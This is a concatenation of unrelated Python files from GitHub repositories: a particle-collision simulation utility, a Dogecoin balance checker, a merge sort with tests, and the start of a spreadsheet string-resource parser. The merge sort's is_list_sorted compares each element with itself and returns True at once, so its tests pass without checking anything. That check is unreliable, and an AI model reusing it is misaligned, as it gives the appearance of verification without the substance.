f'wall_pos_N_{number_of_positions}_rad_{radius}'), arr=positions)\n\n\ndef validate_positions(positions, radius):\n \"\"\"\n Function to validate the initial positions by checking if the particles are closer than 2r. Not valid for\n positions to a Brownian particle with bigger radius\n :param positions: positions of the particles as a (N, 2) array\n :param radius: radius of the particles\n \"\"\"\n smallest_distance = np.Inf\n for i in range(len(positions)):\n diff = norm(positions - np.tile(positions[i, :], reps=(len(positions), 1)), axis=1)\n diff = diff[diff != 0]\n smallest_distance = min(smallest_distance, np.min(diff))\n if smallest_distance > (2*radius):\n print('Smallest distance between particles greater than 2r')\n else:\n print('Overlapping positions!!')\n print(f'Smallest dist: {smallest_distance} 2r: {2 * radius}')\n\n\ndef random_uniformly_distributed_velocities(N, v0):\n \"\"\"\n Function that creates a random set of velocity vectors for N particles with speed v0. First one create random\n angles uniformly distributed between (0, 2*pi). Then one use that the velocity in the x direction is equal\n to the cosine of the random angles multiplied by the speed. Same for velocity in y direction, but by using sine.\n :param N: number of particles\n :param v0: initial speed of all particles\n :return: uniformly distributed velocities as a 2D array with shape (number_of_particles, 2)\n \"\"\"\n random_angles = np.random.uniform(low=0, high=2 * np.pi, size=N) # random angles in range(0, 2pi)\n velocities = np.zeros((N, 2))\n velocities[:, 0], velocities[:, 1] = np.cos(random_angles), np.sin(random_angles) # take cosine and sine\n velocities *= v0 # multiply with speed\n return velocities\n\n\ndef scattering_angle_func_impact_parameter():\n \"\"\"\n Function to compute scattering angle as a function of the impact parameter b. Solves problem 1 from exam.\n Involves two particles, one big and massive, and see how the velocity changes for the smaller particle\n by colliding with the bigger particle.\n \"\"\"\n N = 2\n xi = 1\n initial_position_big_particle = [0.5, 0.5]\n initial_velocity_small_particle = [0.2, 0]\n initial_velocity_big_particle = [0, 0]\n initial_positions = np.zeros((N, 2))\n initial_positions[1, :] = initial_position_big_particle\n initial_velocities = np.zeros_like(initial_positions)\n initial_velocities[0, :] = initial_velocity_small_particle\n initial_velocities[1, :] = initial_velocity_big_particle\n # given initial values from exam in numerical physics\n mass_array = np.array([1, 10 ** 6])\n radius_array = np.array([0.001, 0.1])\n\n # initialize a simulation, where the box_of_particles is set for each parameter\n average_number_of_collisions_stop = 0.5\n simulation = Simulation(box_of_particles=None, stopping_criterion=average_number_of_collisions_stop)\n\n impact_parameters = np.linspace(-radius_array[1]*1.5, radius_array[1]*1.5, 500)\n scattering_angles = np.zeros_like(impact_parameters)\n\n for counter, impact_parameter in enumerate(impact_parameters):\n # update initial position of small particle\n initial_position_small_particle = [0.1, 0.5+impact_parameter]\n initial_positions[0, :] = initial_position_small_particle\n # create new system of particles\n box_of_particles = ParticleBox(number_of_particles=N,\n restitution_coefficient=xi,\n initial_positions=initial_positions,\n initial_velocities=initial_velocities,\n masses=mass_array,\n radii=radius_array)\n # update the system in the simulation\n simulation.box_of_particles = box_of_particles\n simulation.time_at_previous_collision = np.zeros(box_of_particles.N)\n\n simulation.simulate_until_given_number_of_collisions('scatteringAngle', output_timestep=1.0)\n velocity_small_particle_after_collision = simulation.box_of_particles.velocities[0, :]\n scattering_angles[counter] = compute_scattering_angle(np.array(initial_velocity_small_particle),\n velocity_small_particle_after_collision)\n simulation.reset() # set time and some parameters equal to zero to make simulation ready for new realization\n\n # save results in a matrix where each row gives impact parameter and scattering angle\n matrix_to_file = np.zeros((len(impact_parameters), 2))\n matrix_to_file[:, 0] = impact_parameters/np.sum(radius_array)\n matrix_to_file[:, 1] = scattering_angles\n # save to file\n np.save(file=os.path.join(results_folder, 'scattering_angle_func_impact_parameter'), arr=matrix_to_file)\n\n\ndef speed_distribution(use_equal_particles=True, number_of_runs=1):\n \"\"\"\n Function to get speed of every particle after the system has reached equilibrium. Mainly solves problem 2 and\n 3 in the exam. The procedure is based on initializing a system of many particles with the same initial speed.\n Then you start the simulation and let them collide until equilibrium have been reached. One then return the\n speed of each particle in order to create speed distribution plots.\n :param use_equal_particles: bool value that separates problem 2 and 3. If not equal: Second half will have m=4*m0\n :param number_of_runs: In order to achieve better statistics, take averages over multiple runs.\n \"\"\"\n N = 2000 # number of particles\n xi = 1 # restitution coefficient\n v_0 = 0.2 # initial speed\n radius = 0.007 # radius of all particles\n positions = np.load(os.path.join(init_folder, f'uniform_pos_N_{N}_rad_{radius}.npy'))\n radii = np.ones(N) * radius # all particles have the same radius\n mass = np.ones(N) # all particles get initially the same mass\n energy_matrix = np.zeros((N, 2)) # array with mass and speed to save to file\n\n if not use_equal_particles:\n # Problem 3: Second half of particles will have an mass which is bigger than the first half by a factor 4.\n mass[int(N / 2):] *= 4\n\n energy_matrix[:, 0] = mass # mass does not change through the simulation\n\n # use stopping criterion that the avg_numb_collision should be equal to 2% of numb_particles.\n average_number_of_collisions_stop = N*0.02\n simulation = Simulation(box_of_particles=None, stopping_criterion=average_number_of_collisions_stop)\n\n for run_number in range(number_of_runs):\n # use same initial positions but new initial velocities every run\n # update velocities by getting new random angles, taking cos and sin and multiply with the initial speed\n velocities = random_uniformly_distributed_velocities(N, v_0)\n\n if run_number == 0:\n # save initial speed as a reference point\n initial_speeds = norm(velocities, axis=1)\n energy_matrix[:, 1] = initial_speeds\n if use_equal_particles:\n np.save(file=os.path.join(results_folder, f'distributionEqParticles_N_{N}_init_energy_matrix'),\n arr=energy_matrix)\n else:\n np.save(file=os.path.join(results_folder, f'distributionNEqParticles_N_{N}_init_energy_matrix'),\n arr=energy_matrix)\n # initialize system\n box_of_particles = ParticleBox(number_of_particles=N,\n restitution_coefficient=xi,\n initial_positions=positions,\n initial_velocities=velocities,\n masses=mass,\n radii=radii)\n # update simulation object\n simulation.box_of_particles = box_of_particles\n simulation.time_at_previous_collision = np.zeros(box_of_particles.N)\n\n # simulate system until given stopping criteria, save speed of particles, reset simulation object and repeat\n if use_equal_particles:\n simulation.simulate_until_given_number_of_collisions('distributionEqParticles', output_timestep=0.1)\n energy_matrix[:, 1] = norm(simulation.box_of_particles.velocities, axis=1)\n np.save(file=os.path.join(results_folder, f'distributionEqParticles_N_{N}_eq_energy_matrix_{run_number}'),\n arr=energy_matrix)\n else:\n simulation.simulate_until_given_number_of_collisions('distributionNEqParticles', output_timestep=0.1)\n energy_matrix[:, 1] = norm(simulation.box_of_particles.velocities, axis=1)\n np.save(file=os.path.join(results_folder, f'distributionNEqParticles_N_{N}_eq_energy_matrix_{run_number}'),\n arr=energy_matrix)\n\n simulation.reset()\n\n\ndef compute_avg_energy_development_after_time():\n \"\"\"\n Function to mainly solve problem 4 in the exam by saving how the energy develop at a short output step. Will\n save the average kinetic energy of all particles(together and separate for m0 and m particles) at all outputs\n and save to file.\n \"\"\"\n N = 2000 # number of particles\n v_0 = 0.2 # initial speed of all particles\n radius = 0.007 # radius of all particles\n positions = np.load(os.path.join(init_folder, f'uniform_pos_N_{N}_rad_{radius}.npy'))\n # velocities = random_uniformly_distributed_velocities(N, v_0)\n radii = np.ones(N) * radius # all particles have the same radius\n # first half will be m0 particles and second half is m particles with m=4*m0.\n mass = np.ones(N)\n mass[int(N / 2):] *= 4\n\n xi_list = [1, 0.9, 0.8] # will do for multiple values of the restitution coefficient\n\n number_of_realizations = 5\n\n # create simulation object\n t_stop = 1\n dt = 0.01 # timestep\n simulation = Simulation(box_of_particles=None, stopping_criterion=t_stop)\n\n for xi in xi_list:\n matrix_to_file = np.zeros(\n (int(t_stop / dt) + 1, 4)) # matrix used to save information. Size given by stop and output\n for i in range(number_of_realizations):\n print(f\"Run number: {i+1}\")\n # new velocity vectors for each realization, but same initial positions\n velocities = random_uniformly_distributed_velocities(N, v_0)\n # initialize a ParticleBox with given parameters\n box_of_particles = ParticleBox(number_of_particles=N,\n restitution_coefficient=xi,\n initial_positions=positions,\n initial_velocities=velocities,\n masses=mass,\n radii=radii)\n # update simulation object with the given system\n simulation.box_of_particles = box_of_particles\n simulation.time_at_previous_collision = np.zeros(box_of_particles.N)\n\n time_array, energy_array_all, energy_array_m0, energy_array_m, mean_speed_array =\\\n simulation.simulate_statistics_until_given_time('energyDevNEqParticles', output_timestep=dt,\n equal_particles=False)\n\n # add results in a matrix with given form: time, avg_energy, avg_energy_m0 and avg_energy_m\n matrix_to_file[:, 0] += time_array\n matrix_to_file[:, 1] += energy_array_all\n matrix_to_file[:, 2] += energy_array_m0\n matrix_to_file[:, 3] += energy_array_m\n # reset simulation\n simulation.reset()\n matrix_to_file /= number_of_realizations # get average values for multiple realizations\n # save to file\n np.save(file=os.path.join(results_folder, f'energyDevNEqParticles_N_{N}_xi_{xi}'),\n arr=matrix_to_file)\n\n\ndef get_crater_size(initial_positions_wall, positions_wall_after_simulation, radius):\n \"\"\"\n Function to compute the size of the crater resulting from a projectile hitting a wall of smaller particles\n :param initial_positions_wall: positions of the particles in the wall before being hit. Is an 2D array with shape\n (number_particles_wall, 2) where first column is the x-positions and the second is the y-positions of particles.\n :param positions_wall_after_simulation: positions of the particles in the wall after being hit. Same shape as above.\n :param radius: radius of the particles in the wall\n :return: size of the crater as a measured quantity of how many particles have changed position\n \"\"\"\n dx = positions_wall_after_simulation - initial_positions_wall\n dx = norm(dx, axis=1) # calculate distance as the norm of the distance vector in position\n boolean = dx >= (2*radius) # if a particle has moved a diameter away is it assumed to be affected\n crater_size = np.sum(boolean)/len(initial_positions_wall) # number of affected particles / number of particles\n return crater_size\n\n\ndef simulate_and_get_crater_size(number_of_particles, restitution_coefficient, initial_positions, initial_velocities,\n masses, radii, simulation):\n \"\"\"\n Help function to initial a ParticleBox and simulate a crater formation by solving problem 5. After simulation\n the function computes the size of the newly made crater.\n :param number_of_particles: number of particles in the box\n :param restitution_coefficient: restitution coefficient of the system. Tells how much energy is kept after colliding\n :param initial_positions: array with shape (numb_particles, 2) to indicate starting point for particles\n :param initial_velocities: array with shape (numb_particles, 2) to indicate starting velocity for particles\n :param masses: array with shape (numb_particles) to indicate the mass of each particle\n :param radii: array with shape (numb_particles) to indicate the radius of each particle\n :param simulation: Simulation object to be used in the simulation\n :return: crater_size\n \"\"\"\n # initialize system\n box_of_particles = ParticleBox(number_of_particles=number_of_particles,\n restitution_coefficient=restitution_coefficient,\n initial_positions=initial_positions,\n initial_velocities=initial_velocities,\n masses=masses,\n radii=radii)\n # update simulation object with the given system\n simulation.box_of_particles = box_of_particles\n simulation.time_at_previous_collision = np.zeros(box_of_particles.N)\n # simulate\n simulation.simulate_until_given_energy('craterFormation', output_timestep=0.01)\n # compute crater size\n crater_size = get_crater_size(initial_positions[1:, :], simulation.box_of_particles.positions[1:, :], radii[-1])\n return crater_size\n\n\ndef study_crater_formation(study_parameter, number_of_parameters=10):\n \"\"\"\n Function to study the formation of a crater by hitting a wall of particles with a projectile. The study is\n performed by doing a parameter sweep over a study_parameter a number of times and then write to file.\n :param study_parameter: string to indicate wh\n :param number_of_parameters:\n \"\"\"\n N = 5001\n radius = 0.004\n positions_wall = np.load(os.path.join(init_folder, f'wall_pos_N_{N - 1}_rad_{radius}.npy'))\n positions = np.zeros((N, 2))\n positions[0, :] = np.array([0.5, 0.75]) # projectile position\n positions[1:, :] = positions_wall\n velocities = np.zeros((N, 2))\n radii = np.ones(N) * radius\n mass = np.ones(N)\n\n parameter_study_matrix = np.zeros((number_of_parameters, 2))\n print(f'Parameter study: {study_parameter}')\n if study_parameter == 'test':\n # starting set of parameters\n xi = 0.75\n v0 = 5\n velocities[0, :] = np.array([0, -v0]) # projectile velocity\n radii[0] *= 5 # projectile radius is 5 times bigger than the radius of the other particles\n mass[0] *= 25 # projectile mass is 25 bigger than the mass of the other particles\n\n initial_avg_energy = 0.5*25*v0**2/N\n energy_stop = 0.1*initial_avg_energy\n simulation = Simulation(box_of_particles=None, stopping_criterion=energy_stop)\n\n crater_size = simulate_and_get_crater_size(N, xi, positions, velocities, mass, radii, simulation)\n print(f\"Crater size: {crater_size}\")\n\n elif study_parameter == 'mass':\n xi = 0.75\n v0 = 5\n velocities[0, :] = np.array([0, -v0]) # projectile velocity\n radii[0] *= 5 # projectile radius is 5 times bigger than the radius of the other particles\n mass_multiplication_array = np.linspace(3, 30, number_of_parameters)\n for counter, mass_multiplication_factor in enumerate(mass_multiplication_array):\n mass[0] *= mass_multiplication_factor\n\n initial_avg_energy = 0.5*mass_multiplication_factor*v0**2/N\n energy_stop = 0.1*initial_avg_energy\n simulation = Simulation(box_of_particles=None, stopping_criterion=energy_stop)\n\n crater_size = simulate_and_get_crater_size(N, xi, positions, velocities, mass, radii, simulation)\n parameter_study_matrix[counter, :] = [mass_multiplication_factor, crater_size]\n mass[0] /= mass_multiplication_factor\n np.save(file=os.path.join(results_folder, f'craterFormation_N_{N}_mass_study'), arr=parameter_study_matrix)\n elif study_parameter == 'radius':\n xi = 0.75\n v0 = 5\n velocities[0, :] = np.array([0, -v0]) # projectile velocity\n mass[0] *= 25 # projectile mass is 25 bigger than the mass of the other particles\n\n initial_avg_energy = 0.5 * 25 * v0 ** 2 / N # energy does not depend on radius\n energy_stop = 0.1*initial_avg_energy\n simulation = Simulation(box_of_particles=None, stopping_criterion=energy_stop)\n\n radius_parameter_array = np.linspace(1, 10, number_of_parameters)\n for counter, radius_mult_factor in enumerate(radius_parameter_array):\n radii[0] *= radius_mult_factor\n\n crater_size = simulate_and_get_crater_size(N, xi, positions, velocities, mass, radii, simulation)\n simulation.reset() # reset object to be ready for next simulation\n\n parameter_study_matrix[counter, :] = [radius_mult_factor, crater_size]\n radii[0] /= radius_mult_factor\n np.save(file=os.path.join(results_folder, f'craterFormation_N_{N}_radius_study'), arr=parameter_study_matrix)\n elif study_parameter == 'speed':\n xi = 0.75\n radii[0] *= 5 # projectile radius is 5 times bigger than the radius of the other particles\n mass[0] *= 25 # projectile mass is 25 bigger than the mass of the other particles\n v0_array = np.linspace(2, 8, number_of_parameters)\n for counter, v0 in enumerate(v0_array):\n velocities[0, :] = np.array([0, -v0]) # projectile velocity\n\n initial_avg_energy = 0.5*25*v0**2/N\n energy_stop = 0.1 * initial_avg_energy\n simulation = Simulation(box_of_particles=None, stopping_criterion=energy_stop)\n crater_size = simulate_and_get_crater_size(N, xi, positions, velocities, mass, radii, simulation)\n\n parameter_study_matrix[counter, :] = [v0, crater_size]\n np.save(file=os.path.join(results_folder, f'craterFormation_N_{N}_speed_study'), arr=parameter_study_matrix)\n elif study_parameter == 'xi':\n v0 = 5\n velocities[0, :] = np.array([0, -v0]) # projectile velocity\n radii[0] *= 5 # projectile radius is 5 times bigger than the radius of the other particles\n mass[0] *= 25 # projectile mass is 25 bigger than the mass of the other particles\n\n initial_avg_energy = 0.5*25*v0**2/N # energy does not depend on restitution coefficient\n energy_stop = 0.1*initial_avg_energy\n simulation = Simulation(box_of_particles=None, stopping_criterion=energy_stop)\n\n xi_array = np.linspace(0.6, 0.8, number_of_parameters)\n for counter, xi in enumerate(xi_array):\n crater_size = simulate_and_get_crater_size(N, xi, positions, velocities, mass, radii, simulation)\n simulation.reset() # reset object to be ready for new simulation for different xi\n\n parameter_study_matrix[counter, :] = [xi, crater_size]\n np.save(file=os.path.join(results_folder, f'craterFormation_N_{N}_xi_study'), arr=parameter_study_matrix)\n else:\n print(\"Study parameter not understood. Try again!\")\n\n\ndef create_fractal_from_sticky_particles():\n \"\"\"\n Function that creates fractal properties by allowing particles to stick together if a particle collides with\n a particle at rest. Initially the particle closest to the center is at rest and a fractal builds in time\n \"\"\"\n N = 5000 # number of particles\n v_0 = 0.2 # initial speed of all particles\n xi = 1\n radius = 0.004 # radius of all particles\n positions = np.load(os.path.join(init_folder, f'uniform_pos_N_{N}_rad_{radius}.npy'))\n distance_to_center = norm(positions - np.tile([0.5, 0.5], reps=(len(positions), 1)), axis=1)\n closest_particle = np.argmin(distance_to_center)\n velocities = random_uniformly_distributed_velocities(N, v_0)\n velocities[closest_particle, :] = [0, 0] # particle closest to center is at rest\n radii = np.ones(N) * radius # all particles have the same radius\n mass = np.ones(N) # all particles have the same mass initially\n mass[closest_particle] = 10 ** 10 # increase mass of particle at rest in order to identify them in a collision\n # initialize a ParticleBox with given parameters\n box_of_particles = ParticleBox(number_of_particles=N,\n restitution_coefficient=xi,\n initial_positions=positions,\n initial_velocities=velocities,\n masses=mass,\n radii=radii)\n # initialize simulation\n energy_stop = 1e-9\n simulation = Simulation(box_of_particles=box_of_particles, stopping_criterion=energy_stop)\n\n # simulate until all particles is at rest\n simulation.simulate_until_given_energy('fractalCreation', output_timestep=1, sticky_particles=True)\n # save the system at rest with all particle positions to file\n np.save(file=os.path.join(results_folder, f'fractalPositions_N_{N}_rad_{radius}'),\n arr=simulation.box_of_particles.positions)\n\n\ndef compute_mean_free_path():\n \"\"\"\n Function that computes the mean free path in a simulation for the particles inside a radius of 0.1 from the\n center of the box. The results is computed for a different set of radius at given radius and below to see how\n the numerical results change as a function of the packing fraction/radius.\n \"\"\"\n N = 2000 # number of particles\n v_0 = 0.2 # initial speed of all particles\n xi = 1\n initial_radius = 0.007 # radius of all particles\n positions = np.load(os.path.join(init_folder, f'uniform_pos_N_{N}_rad_{initial_radius}.npy'))\n velocities = random_uniformly_distributed_velocities(N, v_0)\n mass = np.ones(N) # all particles have the same mass\n\n number_of_parameters = 10\n radius_parameter = np.linspace(0.1, 1, number_of_parameters)*initial_radius\n\n number_of_runs = 10\n t_stop = 5\n simulation = Simulation(box_of_particles=None, stopping_criterion=t_stop)\n\n matrix_to_file = np.zeros((number_of_parameters, 2))\n\n for i in range(number_of_runs):\n print(f\"Run: {i}\")\n for counter, radius in enumerate(radius_parameter):\n # velocities = random_uniformly_distributed_velocities(N, v_0)\n np.random.shuffle(velocities)\n\n radii = np.ones(N) * radius # all particles have the same radius\n\n # initialize a ParticleBox with given parameters\n box_of_particles = ParticleBox(number_of_particles=N,\n restitution_coefficient=xi,\n initial_positions=positions,\n initial_velocities=velocities,\n masses=mass,\n radii=radii)\n\n # update simulation object with the given system\n simulation.box_of_particles = box_of_particles\n simulation.time_at_previous_collision = np.zeros(box_of_particles.N)\n\n # simulate\n simulation.simulate_until_given_time_mask_quantities('mfp', output_timestep=0.1, update_positions=True,\n save_positions=False)\n computed_mean_free_path =\\\n simulation.box_of_particles.distance_to_collisions / simulation.box_of_particles.collision_count_particles\n mean_free_path_mask = np.mean(computed_mean_free_path[simulation.mask])\n matrix_to_file[counter, 0] = radius\n matrix_to_file[counter, 1] = mean_free_path_mask\n\n simulation.reset()\n\n # save results to file\n np.save(file=os.path.join(results_folder, f'mean_free_path_N_{N}_func_radius_run_{i}_eq_start'), arr=matrix_to_file)\n\n\ndef compute_diffusion_properties_from_mask_particles(single_bp_particle=False, eq_start=False, bigger_radius=False):\n \"\"\"\n Functionality to compute the distance of particles starting close to the center of the box as a function of time\n in order to study diffusion properties. Function will save the results to file.\n \"\"\"\n N = 2000 # number of particles\n v_0 = 0.2 # initial speed of all particles\n xi = 1\n radius = 0.007 # radius of all particles\n if bigger_radius:\n positions = np.load(\n os.path.join(init_folder, f'uniform_pos_around_bp_N_{N}_rad_{radius}_bp_rad_{radius * 3}.npy'))\n else:\n positions = np.load(os.path.join(init_folder, f'uniform_pos_N_{N}_rad_{radius}.npy'))\n if eq_start:\n velocities = np.load(os.path.join(init_folder, f'eq_vel_N_{N}_rad_{radius}.npy'))\n else:\n velocities = random_uniformly_distributed_velocities(N, v_0)\n\n radii = np.ones(N) * radius # all particles have the same radius\n mass = np.ones(N) # all particles have the same mass\n\n distance_to_center = norm(positions - np.tile([0.5, 0.5], reps=(len(positions), 1)), axis=1)\n closest_particle = np.argmin(distance_to_center)\n if single_bp_particle:\n if not bigger_radius:\n mass[closest_particle] *= 10\n else:\n radii[closest_particle] *= 3\n\n validate_positions(positions, radius)\n\n number_of_runs = 10\n t_stop = 5\n timestep = 0.02\n simulation = Simulation(box_of_particles=None, stopping_criterion=t_stop)\n\n if single_bp_particle:\n simulation.mask = distance_to_center == distance_to_center[closest_particle]\n\n matrix_to_file = np.zeros((int(t_stop/timestep)+1, 3))\n if single_bp_particle:\n matrix_to_file = np.zeros((int(t_stop / timestep) + 1, 5))\n\n for i in range(number_of_runs):\n print(f'Run number: {i+1}')\n if eq_start:\n np.random.shuffle(velocities)\n else:\n velocities = random_uniformly_distributed_velocities(N, v_0)\n if single_bp_particle:\n if not bigger_radius:\n velocities[closest_particle] *= 1\n\n # initialize a ParticleBox with given parameters\n box_of_particles = ParticleBox(number_of_particles=N,\n restitution_coefficient=xi,\n initial_positions=positions,\n initial_velocities=velocities,\n masses=mass,\n radii=radii)\n\n # update simulation object with the given system\n simulation.box_of_particles = box_of_particles\n simulation.time_at_previous_collision = np.zeros(box_of_particles.N)\n if single_bp_particle:\n time_array, bp_position_array, bp_velocity_array = \\\n simulation.simulate_until_given_time_bp('brownianParticle', output_timestep=timestep,\n save_positions=True)\n matrix_to_file[:, 0] = time_array\n matrix_to_file[:, 1] = bp_position_array[:, 0]\n matrix_to_file[:, 2] = bp_position_array[:, 1]\n matrix_to_file[:, 3] = bp_velocity_array[:, 0]\n matrix_to_file[:, 4] = bp_velocity_array[:, 1]\n if bigger_radius:\n np.save(file=os.path.join(results_folder, f'diffProperties_3r0m0_particle_tmax_{t_stop}_run_{i+200}'),\n arr=matrix_to_file)\n else:\n np.save(file=os.path.join(results_folder, f'diffProperties_r010m0_particle_tmax_{t_stop}_run_{i}_eq_speed'),\n arr=matrix_to_file)\n else:\n time_array, mean_quadratic_distance_array, mean_quadratic_speed_array = \\\n simulation.simulate_until_given_time_mask_quantities('diffusionProperties', output_timestep=timestep,\n save_positions=True)\n\n matrix_to_file[:, 0] = time_array\n matrix_to_file[:, 1] = mean_quadratic_distance_array\n matrix_to_file[:, 2] = mean_quadratic_speed_array\n if eq_start:\n np.save(file=os.path.join(results_folder,\n f'diffProperties_r0m0_particle_tmax_{t_stop}_run_{i}_eq_start'),\n arr=matrix_to_file)\n else:\n np.save(file=os.path.join(results_folder, f'diffProperties_r0m0_particle_tmax_{t_stop}_run_{i+30}'),\n arr=matrix_to_file)\n\n simulation.reset()\n","repo_name":"alekgjer/specialization_project","sub_path":"utility_functions.py","file_name":"utility_functions.py","file_ext":"py","file_size_in_byte":36525,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"33956978974","text":"import datetime\nimport requests\nimport json\n\n\ntimedata = datetime.datetime.now()\ntime = timedata.strftime(\"%Y-%m-%d %H:%M:%S\")\nprint(time)\n\n\ndef jprint(obj):\n text = json.dumps(obj, sort_keys=True, indent=4)\n print(text)\n\n\nDogeAddress = \"DQ3ooovQ2jzcVWrDrk1nEEVUB6jr71puCR\"\n\nbalence = requests.get(\"https://dogechain.info/api/v1/address/balance/\"+DogeAddress)\nprice = requests.get(\"https://chain.so/api/v2/get_price/DOGE/USD\")\n\npricedata = price.json()\nbalencedata = balence.json()\n\n\ncurrentPrice = pricedata['data']['prices'][0]['price']\ncurrentBalence = float(balencedata['balance'])\n\ncashAmount = float(currentBalence) * float(currentPrice)\n\ncurrentBalence = round(currentBalence, 4)\n#currentPrice = round(currentPrice, 4)\ncashAmount = round(cashAmount, 4)\n\nprint(\"Current Price:\", currentPrice)\nprint(\"Current Balence:\", currentBalence)\nprint(\"USD: $\",cashAmount)\n\n","repo_name":"dylanWeisner/dogeWalletChecker","sub_path":"dogecoin_walletChecker.py","file_name":"dogecoin_walletChecker.py","file_ext":"py","file_size_in_byte":875,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"40546865555","text":"#Merge sort\n#Kiar Fatah\nimport numpy as np\n\n\n#help_func is needed to call is_list_sorted\ndef help_func(arr):\n return is_list_sorted(mergesort(arr))\n \n\n\n#Check if the list is sorted for testing\ndef is_list_sorted(arr):\n for i in range(0,len(arr)):\n if arr[i] > arr [i]:\n return False\n else:\n return True\n\n\ndef mergesort(arr): #Calls itself to divide the array in to size one\n\n if len(arr) == 1:\n return arr\n \n arr1 = arr[:len(arr)//2] #First half of arr\n arr2 = arr[len(arr)//2:] #Second half of arr\n \n array_one = mergesort(arr1)\n array_two = mergesort(arr2)\n\n #print(\"gang\" + str(arr1) + str(arr2))\n\n return merge(array_one,array_two)\n\n\ndef merge(arr1,arr2): #Merging the arr\n arr_merge = []\n\n while len(arr1) and len(arr2) != 0:\n if arr1[0] > arr2[0]:\n arr_merge.append(arr2[0])\n arr2.remove(arr2[0])\n else:\n arr_merge.append(arr1[0])\n arr1.remove(arr1[0])\n\n #Either arr1 is empty or arr2 is empty\n\n while len(arr1) != 0:\n arr_merge.append(arr1[0])\n arr1.remove(arr1[0])\n while len(arr2) != 0:\n arr_merge.append(arr2[0])\n arr2.remove(arr2[0])\n\n return arr_merge\n\n#Test\nif __name__ == \"__main__\":\n #assert help_func(1) == False\n #assert help_func([]) == False\n assert help_func([3,2,1,4,5,6]) == True\n assert help_func([9,100,32,43,546,10,2,3]) == True\n assert help_func([2392,43092,239103,3242]) == True\n assert help_func([1,2,3,4]) == True\n\n\n assert help_func([-1,-1,2,1]) == True\n assert help_func([-1,-1,-22,1]) == True\n assert help_func([-23242,-424232,-431,-1,-343,23,43023,349034]) == True\n","repo_name":"Kiarr99/sommar","sub_path":"mergesort.py","file_name":"mergesort.py","file_ext":"py","file_size_in_byte":1708,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"3005470437","text":"import csv\nfrom mst.exceptions import MstException\nfrom mst.resources import ResourceText, String, StringArray, QuantityStrings\n\nclass Spreadsheet(object):\n '''\n This class contains spreadsheet data. Spreadsheet is divided for two parts.\n - header section\n - data section\n It is able to parse the spreadsheet and extract all resources from it:\n - String\n - StringArray\n - QuantityStrings\n \n Header section contains type, IDs and languages. Type column contains\n type of string resource:\n - string - normal string\n - string-array - array of strings\n - plurals\n IDs columns contains proper string ID for each platform.\n Language columns contain language code correspoding to each string translation.\n \n Data section contains resources data.\n '''\n \n TYPE = 'type'\n OPTIONS = 'options'\n TYPE_STRING = 'string'\n TYPE_STRING_ARRAY = 'string-array'\n TYPE_QUANTITY_STRING = 'plurals'\n \n __resource_column_name = ''\n __header = []\n __data = []\n __languages = []\n \n __type_column = -1\n __id_column = -1\n __language_column = {}\n __options_column = -1\n \n def __init__(self, resource_column, data, languages):\n \"\"\"\n Initialize Spreadsheet object.\n resource column -- name of column with resource IDs, for ex. 'android_id'\n data -- data to be loaded (2D array of strings) or a path to CSV file\n languages -- array of language codes\n \"\"\"\n self.__resource_column_name = resource_column\n self.__languages = languages\n \n if( type(data) == str ):\n self.__load_csv(data)\n elif( type(data) == list ):\n self.__load_data(data)\n else:\n raise TypeError(\"We can parse only 2-dimensional arrays of string data or load CSV files\")\n \n self.__parse_data()\n \n def __str__(self):\n return \"%s: header: %s, data: %s rows, languages: %s\" % (self.__class__.__name__, self.header, len(self.data), self.languages)\n \n def __getitem__(self,index):\n '''Get data row'''\n return self.data[index]\n \n def __load_csv(self, file):\n '''Load data from CSV file'''\n data = []\n file = open(file, 'r')\n reader = csv.reader(file)\n for row in reader:\n data.append(row)\n self.__load_data(data)\n \n def __load_data(self, data):\n '''Split data array for header and data'''\n self.__header = data[0]\n self.__data = data[1:]\n \n def __parse_data(self):\n \"\"\"\n Parse data header and extract columns indexes for type, id and languages.\n \"\"\"\n # find index of type column\n if self.TYPE in self.header:\n self.__type_column = self.header.index( self.TYPE )\n else:\n raise MstException(\"Can't fine %s column in header: %s\" % (self.TYPE, self.header) )\n \n # find index of resource id column\n if self.__resource_column_name in self.header:\n self.__id_column = self.header.index( self.__resource_column_name )\n else:\n raise MstException(\"Can't find %s column in header: %s\" % (self.__resource_column_name, self.header) )\n \n # find indexes of all language columns\n for language in self.__languages:\n if language in self.header:\n col = self.header.index( language )\n self.__language_column[language] = col\n else:\n raise MstException(\"Can't find %s column in header: %s\" % (language, self.header) )\n \n # find index of options column\n if Spreadsheet.OPTIONS in self.header:\n self.__options_column = self.header.index( Spreadsheet.OPTIONS )\n else:\n raise MstException(\"Can't find %s column in header: %s\" % (Spreadsheet.OPTIONS, self.header) )\n \n def _get_row_type(self, row):\n \"\"\"\"Extract type data of a given row\"\"\"\n return row[ self.type_column ]\n \n def _get_row_id(self, row):\n \"\"\"Extract id from a given row\"\"\"\n return row[ self.id_column ]\n \n def _get_row_string(self, lang, row):\n \"\"\"Extract string from a given row and language\"\"\"\n col = self.language_column[lang]\n return row[ col ]\n \n def _get_row_options(self, row):\n \"\"\"\n Extract row options. Options are returned as a list of strings.\n If options is not available it returns empty list.\n \"\"\"\n if self.options_column >= 0:\n opts = row[ self.options_column ]\n return opts.replace(' ', '').split(';')\n else:\n return [];\n \n def _has_valid_key(self, row):\n \"\"\"\n Validate resource key.\n \"\"\"\n #FIX: more checks here\n return len( row[ self.id_column ] ) > 0;\n \n def __get_string(self, row):\n \"\"\"\n Get string resource from a given row. It loads resource\n object with translations for all languages and returns\n complete String instance.\n \"\"\"\n key = row[ self.id_column ]\n resource = String(key, self.languages);\n for lang in self.languages:\n col = self.language_column(lang)\n text = row[ col ]\n options = self._get_row_options(row)\n resource.add(lang, ResourceText(text, options) )\n return resource\n\n @property\n def type_column(self):\n \"\"\"Type column index\"\"\"\n return self.__type_column\n \n @property\n def id_column(self):\n \"\"\"Resource ID column index\"\"\" \n return self.__id_column\n \n def language_column(self, language):\n \"\"\"Language column index for a given language\"\"\"\n return self.__language_column[language]\n\n @property\n def options_column(self):\n \"\"\"Options column index\"\"\"\n return self.__options_column\n\n @property\n def header(self):\n \"\"\"Entire header row stored as list of strings\"\"\"\n return self.__header\n\n @property\n def data(self):\n \"\"\"Entire data section of the spreadsheet\"\"\"\n return self.__data\n\n @property\n def languages(self):\n \"\"\"List of languages\"\"\"\n return self.__languages\n\n def get_strings(self):\n \"\"\"Collect all String resources and return a 